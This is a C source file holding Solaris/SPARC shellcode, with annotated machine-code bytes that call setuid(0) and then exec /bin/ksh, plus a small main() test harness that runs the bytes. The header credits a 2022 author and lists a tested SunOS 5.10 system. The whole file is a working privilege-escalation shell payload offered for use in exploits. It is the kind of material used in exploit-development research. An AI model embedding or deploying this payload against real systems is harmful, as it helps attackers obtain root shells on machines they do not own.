/*
 * sparc_solaris_exec.c - Solaris/SPARC execve() shellcode
 * Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Pretty standard Solaris/SPARC setuid/execve shellcode.
 *
 * Tested on:
 * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise
 */

char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */

/* setuid(0) */
"\x90\x08\x3f\xff"  /* and  %g0, -1, %o0    */
"\x82\x10\x20\x17"  /* mov  0x17, %g1    */
"\x91\xd0\x20\x08"  /* ta   8      */

/* execve("/bin/ksh", argv, NULL) */
"\x9f\x41\x40\x01"  /* rd   %pc,%o7 ! >= sparcv8+  */
"\x90\x03\xe0\x28"  /* add  %o7, 0x28, %o0    */
"\x92\x02\x20\x10"  /* add  %o0, 0x10, %o1    */
"\xc0\x22\x20\x08"  /* clr  [ %o0 + 8 ]    */
"\xd0\x22\x20\x10"  /* st   %o0, [ %o0 + 0x10 ]  */
"\xc0\x22\x20\x14"  /* clr  [ %o0 + 0x14 ]    */
"\x82\x10\x20\x0b"  /* mov  0xb, %g1    */
"\x91\xd0\x20\x08"  /* ta   8      */
"\x80\x1c\x40\x11"  /* xor  %l1, %l1, %g0 ! nop  */
"\x41\x41\x41\x41"  /* placeholder      */
"/bin/ksh";

void main()
{
  void (*f)() = (void *)sc;
  f();
}